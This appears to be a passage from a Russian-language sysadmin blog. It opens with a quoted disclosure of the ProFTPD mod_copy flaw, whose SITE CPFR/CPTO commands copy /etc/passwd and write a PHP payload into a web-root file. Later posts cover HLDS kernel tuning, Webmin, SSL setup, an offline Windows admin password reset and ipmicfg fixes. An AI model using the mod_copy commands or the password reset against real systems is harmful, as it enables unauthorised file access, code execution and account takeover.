214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Сборка ядра Linux под HLDS для стабильного fps.

1. Необходимые пакеты:
Убедитесь что они уже установлены, если их нет, то установите самостоятельно.

• gcc (компилятор)
• make, gmake или gnu-make
• fakeroot
• ncurses and ncurses-dev (libncurses5-dev в Debian и Ubuntu)
• chrt (в Debian пакет schedutils, в других может schedtool)
• zlib1g-dev (это для Debian и Ubuntu)
• kernel-package (Debian и Ubuntu)
• patch

2. Скачиваем сурцы ядра и патч

cd /usr/src

Открываем

http://kernel.org/pub/linux/kernel/projects/rt/

и смотрим последнюю версию ядра, для ктоторой есть RT патч и скачиваем этот патч:

wget http://kernel.org/pub/linux/kernel/projects/rt/patch-2.6.31.12-rt21.gz

Теперь идем на

http://kernel.org/pub/linux/kernel/v2.6/

и качаем ядро той же версии, что и патч RT.

wget http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.31.12.tar.gz

Распаковываем ядро и патчим его:

tar zxf linux-2.6.31.12.tar.gz
cd linux-2.6.31.12
zcat ../patch-2.6.31.12-rt21.gz | patch -p1

3. Настройка и компиляция ядра

Открываем утилиту для редактирования конфига ядра. Утилита консольная, пойдет и на десктопах и на серверах по SSH.
make menuconfig

И меняем следующие настройки:

General setup:

RCU Subsystem (ignore if not present)Включить RCU Implementation (Preemptible RCU)
Отключить Enable tracing for RCU

Processor type and features:

Включить Tickless System (Dynamic Ticks)
Включить High Resolution Timer Support
Выбрать тип проца
Поменять Preemtion Mode на Complete Preemption (Real-Time)
Включить Enable priority boosting of RCU read-side critical sections (ignore if not present)
Отключить Enable tracing for RCU — currently stats in debugfs (ignore if not present)
Включить Machine Check Exception and select Intel or AMD depending on your CPU
Поменять Timer frequency на 1000 HZ

Power management and ACPI options

Включить Power Management support
Отключить Power Management Debug Support
Отключить Suspend to RAM and standby
Отключить Hibernation (aka ‘suspend to disk’)
Включить ACPI (Advanced Configuration and Power Interface) Support
Отключить CPU Frequency scaling
Отключить CPU idle PM support

Networking support

Networking options

Включить Packet socket: mmapped IO
Отключить QoS and/or fair queueing

Device Drivers

Отключить Watchdog Timer Support
Включить Real Time Clock
Включить PC-style ‘CMOS’

Kernel hacking

Отключить все

Приступаем к компиляции:

make clean
fakeroot make-kpkg clean && fakeroot make-kpkg kernel_image —initrd && cd ..

Ждем……. через некоторое время видим готовый .deb пакет с ядром.

cd ..
dpkg -i ‘ИМЯ_НОВОГО_DEB_ПАКЕТА’

Пакет установится и все зависимости подправит, а GRUB обновит.

4. Загрузка с новым ядром

Перезапустим наш PC.

shutdown -r now

При загрузке необходимо выбрать новое ядро.

Если загрузка прошла успешно, вводим команду

uname -r

Ответ в консоле должен быть что-то типа:

2.6.31.12-rt21

5. Назначение серверам RealTime приоритета
Это делается с помощью команды

chrt -f -p 99 pid

Где pid — pid процесса сервера.

Также можно закинуть все такое дело в CRON скрипт. Например вот так:

#!/bin/shPIDS=`ps ax | grep sirq-hrtimer | grep -v grep | sed -e «s/^ *//» -e «s/ .*$//»`
for p in $PIDS; do
chrt -f -p 99 $p
done

PIDS=`ps ax | grep sirq-timer | grep -v grep | sed -e «s/^ *//» -e «s/ .*$//»`
for p in $PIDS; do
chrt -f -p 51 $p
done

PIDS=`pidof srcds_linux`
for p in $PIDS; do
chrt -f -p 98 $p
done

PIDS=`pidof srcds_i686`
for p in $PIDS; do
chrt -f -p 98 $p
done

PIDS=`pidof srcds_i486`
for p in $PIDS; do
chrt -f -p 98 $p
done

PIDS=`pidof srcds_amd`
for p in $PIDS; do
chrt -f -p 98 $p
done

PIDS=`pidof hlds_i686`
for p in $PIDS; do
chrt -f -p 98 $p
done

PIDS=`pidof hlds_i486`
for p in $PIDS; do
chrt -f -p 98 $p
done

PIDS=`pidof hlds_amd`
for p in $PIDS; do
chrt -f -p 98 $p
done

Этот скрипт назначит приоритет серверам HLDS максимальный

Проверяем!

./hlds_run -game cstrike +map de_dust2 +sys_ticrate 1000 -pingboost 3

Должно получиться 990-1000 довольно стабильных фпс:

CPU In Out Uptime Users FPS Players
22.90 0.00 0.00 5 0 996.06 0
stats
CPU In Out Uptime Users FPS Players
22.90 0.00 0.00 5 0 992.01 0
stats
CPU In Out Uptime Users FPS Players
22.90 0.00 0.00 5 0 994.08 0
stats
CPU In Out Uptime Users FPS Players
22.90 0.00 0 .00 5 0 993.02 0

Теперь мы видим стабильный FPS и стрельбу превосходную!!!

Если хотим иметь не менее 1000 FPS, то запускаем так:

./hlds_run -game cstrike +map de_dust2 +sys_ticrate 1500 -pingboost 3

 

Автоматизированная установка Webmin из репозитория (Debian/Ubuntu)

Во-первых, добавляем webmin-официальный репозиторий:
Редактируем source.list файл /etc/apt/sources.list

# sudo nano /etc/apt/sources.list

И добавдяем следующие строки:

deb http://download.webmin.com/download/repository sarge contrib
deb http://webmin.mirror.somersettechsolutions.co.uk/repository sarge contrib
После вышеуказанных действий необходимо получить ключ GPG.

# wget -q http://www.webmin.com/jcameron-key.asc -O- | sudo apt-key add —

После добавления ключа GPG необходимо обновить source.list:

# sudo apt-get update

Устанавливаем Webmin с помощью следующей команды:

# sudo apt-get install webmin -y

Теперь, разрешаем порт Webmin в фаерволе:

# sudo ufw allow 10000

 

Автоматизированная установка Webmin из репозитория (CentOS)

Webmin представляет собой веб-интерфейс для администрирования систем Unix. Используя любой современный веб-браузер, вы можете настроить учетные записи пользователей, Apache, DNS, файловый обмен и многое другое. Webmin устраняет необходимость вручную редактировать unix конфигурационные файлы типа: /etc/passwd, и позволяет управлять системой как с консоли, так и удаленно. Просмотрев страницу стандартных модулей, вы получите список всех функций, встроенных в Webmin.

При установке из RPM — «rpm -U webmin-1.470-1.noarch.rpm» вы не сможете обновить Webmin простым yum upgrade. Чтобы обновить при такой инсталляции вам нужно будет перезагрузить и переустановить RPM пакет вручную. Результат — невозможность автоматического обновления.

Когда Webmin установлен из репозитория, установка исправлений и патчей может быть автоматизирована как и другие системные обновления, и управляться при помощи YUM. Кроме того, демон yum-updates предупредит вас об обновлениях и(или) установит их в зависимости от заданных параметров.

Установка:

 

Копировать и вставить в консоль следующее:

(echo "[Webmin]
name=Webmin Distribution Neutral
baseurl=http://download.webmin.com/download/yum
enabled=1" >/etc/yum.repos.d/webmin.repo
rpm --import http://www.webmin.com/jcameron-key.asc
yum -y install webmin)

Нажмите Enter, если команда не выполнится автоматически.

Ok. Репозиторий Webmin и приложение начнут установку.

Готово.

 

Установка SSL сертификата на домен (ISPmanager)

После выпуска заказанного сертификата, на email, который был указан при заказе, Вы получите все необходимые файлы.

Далее:

1. Зайдите в ISPmanager под пользователем, которому принадлежит домен. Войдя под root’ом это можно сделать так: ISPmanager — Пользователи — выделите пользователя — нажмите «Вход» (справа вверху кнопка с изображением лестницы и двери).

Примечание: не забудьте для пользователя включить SSL (ISPmanager — Пользователи — двойной клик по пользователю — вкладка «Права»)

2. В разделе World Wide Web — «SSL-сертификаты» — справа вверху кнопка «Создать». Укажите «Тип сертификата» — существующий и заполните все поля:

Имя сертификата — имя сертификата, под которым он будет отображаться в системе. Может содержать буквы латинского алфавита, цифры, точки, а также знаки _ и —

Приватный ключ — укажите содержимое файла приватного ключа

Сертификат — укажите содержимое файла SSL-сертификата

Пароль — указывайте, если ключ сертификата зашифрован (обычно не требуется)

Цепочка сертификатов — Certificate bundle: цепочка сертификатов, которыми подписан данный сертификат.

3. После успешного добавления сертификата в разделе «WWW домены» можно его включить для сайта (двойной клик — установить галочку «SSL» — выбрать из списка нужный сертификат)

4. Детальная проверка установленного сертификата доступна по ссылкам:

Ручная установка SSL сертификата

Веб-сервер Apache

Если ssl запросы обрабатывает Apache, то сертификат устанавливается в файле конфигурации Apache. Проверить какой веб сервис отвечает на 443 (ssl) порту можно командой:

  • Linux:
# netstat -napt | grep 443
tcp        0      0 188.120.233.16:443      0.0.0.0:*               LISTEN      731/apache2
  • FreeBSD:
# sockstat |grep 443
root      httpd      83299 19 tcp4   188.120.225.20:443    *:*  

Для установки сертификата откройте конфигурационный файл Apache. На FreeBSD это /usr/local/etc/apache22/httpd.conf. Debian — /etc/apache2/apache2.conf. Centos — /etc/httpd/conf/httpd.conf. Найдите VirtualHost вашего домена.

Иногда вы можете найти блоки <VirtualHost> в отдельных файлах, в директории веб сервера.

Создайте блок <VirtualHost> для подключения SSL соединения. Пример:

<VirtualHost 10.0.0.1:443>
  DocumentRoot /home/user/data/www/domain.com
  ServerName domain.com
  SSLEngine on
  SSLCertificateFile /path/to/domain.crt
  SSLCertificateKeyFile /path/to/domain.key
  SSLCACertificateFile /path/to/ca.crt
</VirtualHost>

Где

  • domain.com — имя вашего домена.
  • 10.0.0.1 — ip адрес, на котором находится домен.
  • /home/user/data/www/domain.com — путь до домашней директории вашего домена.
  • /path/to/domain.crt — файл, в котором находится сертификат.
  • /path/to/domain.key — файл, в котором находится ключ сертификата.
  • /path/to/ca.crt — файл корневого сертификата.

Перезапустите Apache командой apachectl restart или apache2ctl restart

Веб-сервер Nginx

Если ssl запросы обрабатывает Nginx, то сертификат устанавливается в файле конфигурации Nginx.

Откройте конфигурационный файл Nginx. На FreeBSD это /usr/local/etc/nginx/nginx.conf, Linux — /etc/nginx/nginx.conf

Создайте серверный модуль для SSL соединения. Пример:

server {
        listen 10.0.0.1:443;
        server_name domain.com;
        ssl                  on;
        ssl_certificate     /path/to/domain.crt;
        ssl_certificate_key  /path/to/domain.key ;
  }

Где

  • domain.com — имя вашего домена.
  • 10.0.0.1 — ip адрес, на котором находится домен.
  • /path/to/domain.crt — файл, в котором находится сертификат.
  • /path/to/domain.key — файл, в котором находится ключ сертификата.

Цепочка сертификатов дописывается в файл с сертификатом.

Возьмем пример с Comodo Positive SSL. Центр сертификации присылает файлы domain.crt, PositiveSSLCA2 и AddTrustExternalCARoot. Цепочкой сертификата будет содержание файла PositiveSSLCA2 + AddTrustExternalCARoot. В итоге файл domain.crt должен содержать сертификат домена + сертификаты PositiveSSLCA2 + AddTrustExternalCARoot.

Перезапустите Nginx

  • FreeBSD:
/usr/local/etc/rc.d/nginx restart
  • Linux:
/etc/init.d/nginx restart

Несколько SSL сертификатов на одном ip адресе

Если используется несколько сертификатов на одном ip адресе, то браузер получит сертификат сервера по умолчанию, независимо от запрашиваемого имени сервера. Это связано с поведением протокола SSL. SSL-соединение устанавливается до того, как браузер посылает HTTP-запрос, и веб сервер не знает имени запрашиваемого сервера. Следовательно, он лишь может предложить сертификат сервера по умолчанию.

Решение для работы нескольких HTTPS-серверов на одном IP-адресе — расширение Server Name Indication протокола TLS (SNI, RFC 6066), которое позволяет браузеру передать запрашиваемое имя сервера во время SSL handshake, а значит сервер будет знать, какой сертификат ему следует использовать для соединения. Почти все современные браузеры поддерживают SNI, однако чтобы использовать SNI, соответствующая поддержка должна присутствовать также в библиотеке OpenSSL. OpenSSL поддерживает SNI начиная с версии 0.9.8f.

Полезные команды Openssl

  • Создание ключа для SSL-сертификата.
openssl req -batch -noout -new -newkey rsa:2048 -nodes -keyout cert.key
  • Генерация CSR-запроса:
openssl req -new -key cert.key -out cert.csr
  • Убрать пароль с ключа:
openssl rsa -in cert.key -out cert.key
  • Посмотреть данные CSR:
openssl req -noout -text -in cert.csr
  • Данные сертификата (проверить кем выдан, например):
openssl x509 -noout -text -in cert.crt
  • Проверить, что ключ соответствует сертификату:
openssl x509 -noout -modulus -in cert.crt | openssl md5
openssl rsa -noout -modulus -in cert.key | openssl md5

Два значения должны совпадать.

  • Узнать длину запроса:
echo '(' `openssl req -noout -modulus -in cert.csr | cut -d'=' -f2 | wc -c` '-1)*4' | bc
  • Проверить выдачу HTTPS:
openssl s_client -host  ulanovka.ru -port 443

 

СБРОС ПАРОЛЯ ЛОКАЛЬНОГО АДМИНИСТРАТОРА WINDOWS SERVER 2008R2 / 2008

Случился такой казус. Как то месяцев восемь назад установил сервер клиенту под управлением Windows Server 2008R2 Foundation. Поставил пароль, записал на всякий случай. И вот недавно потребовалось поднять на этом сервере, сервер терминалов для работы пользователей в 1С. Система все это время отлично шуршала, делался backup баз, ИБП не подводил, и все работало 24\7 как положено. Соответственно сервер залочился и ждал ввода пароля для входа в систему. На ввод моего записанного пароля получил ответ «Неверно указан пользователь или пароль». Соответственно согрешив на раскладку, сменил и ввел пароль на русской раскладке. Эффект такой же. Покопавшись часик, перепробовав все мыслимые и не мыслимые пароли пришел к выводу что пароль и правда, кто то сменил. Войти в систему нужно, а пароля нет. Учетка только «Гость» и из под нее ничего не сделаешь. Попробовал загрузиться со старенького LiveCD который все время с собой таскаю, получил ошибку про не найденный драйвер к RAID контроллеру. Но выход нашелся. Итак, сегодня мы сбросим пароль локального Администратора на Windows Server 2008R2. (Пробовал так же на Windows Server 2008, сбрасывает отлично.) Способ так же подходит для Windows Seven, Vista, и возможно XP. НО! Это не способ сброса пароля Администратора Active Directory. Для тех кто не понял. Пароль администратора домена этим способом не сбросить. Про сброс паролей AD я напишу позднее.

Для начала нам потребуется небольшой LiveCD который вы можете скачать тут. Размер образа всего 5Мб. Качаем архив, распаковываем и записываем на болванку. И загружаемся с него. И видим следующее:

Сброс пароля Администратора Windows Server 2008

Просто жмем Enter. В большинстве случаев настроек по умолчанию хватает. Следующий экран предложит найденные партиции жёсткого диска. Снова жмем Enter:

Администратор Windows Server 2008R2

Если работа вашей ОС на которой вы собираетесь сбросить пароль была завершена не корректно то будет предложено сбросить систему. Вводим Y и жмем Enter. Теперь выбор расположения папки конфигурации. Обычно это «Windows/System32/config». Жмем Enter.

Windows Server 2008

Выбор операции которую мы хотим произвести: 1 –Сброс паролей. 2 – Консоль восстановления. q – выход. Вводим 1 и жмем Enter.

Сброс пароля администратора

Выбираем «1» – Редактирование пользователей и паролей. («9» редактор реестра. Будьте аккуратнее, поддерживается не полностью и есть очень большой шанс грохнуть систему.) Ввeли «1» и нажали enter.

Windows

Итак Вы попали в самое «сердце». Пользователи, имеющие привилегии Администраторапомечены меткой Admin. Графа «Lock» указывает, стоит ли пароль на учетной записи. Если пароль пустой будет *BLANK*. Что бы отредактировать пользователя нужно ввести либо имя пользователя, либо его RID. Так как имя пользователя у меня на кириллице я ввожу RID в формате 0x. В моем случае RID Администратора будет 01f4, и я вожу 0x01f4. RID для каждого пользователя указаны в колонке с права:

Сброс пароля Windows

Выбираем действие, которое нужно произвести. «1» – очистка пароля выбранного пользователя. «2» – Редактирование пароля пользователя. «3»– Повысить пользователя до администратора. «4» – Разблокировать заблокированную или отключенную учетную запись. «q» – выход. Жмем 1 и Enter.

Server

И если все прошло удачно получим вот такой экран:

Осталось дело за малым, сохранить сделанные изменения. Вводим «!» и жмем Enter. На следующем экране вводим «q» и снова Enter. Получим запрос на подтверждение сохранения изменений:

2008R2

Вводим «Y» и жмем Enter. После чего система спросит запуститься ли по новой. Мы все сделали правильно, так что просто нажимаем Enter.

Windwos Server 200

Вот и все. Перезагружайте систему удобным для вас способом, например Ctrl + Alt + Delete и входите на свой сервер.

Drop password Windows Server 2008

Ошибки в работе ipmicfg

Если получаем  примерно вот это:

 

# ./ipmicfg-linux.x86_64 -m

 [kcs] kcs_error_exit:

 [kcs] kcs_error_exit:

 [kcs] kcs_error:

 [kcs] kcs_error_exit:

 [kcs] kcs_error_exit:
Failed to get IP Address, Completion Code=18h

Ну или работа сопровождается вот такой ошибкой — [kcs] kcs_error_exit:

Скачивать утилиту лучше отсюда

Затем делаем пару действий:

yum install openipmi
и
modprobe ipmi_devintf

После этого всё работает идеально.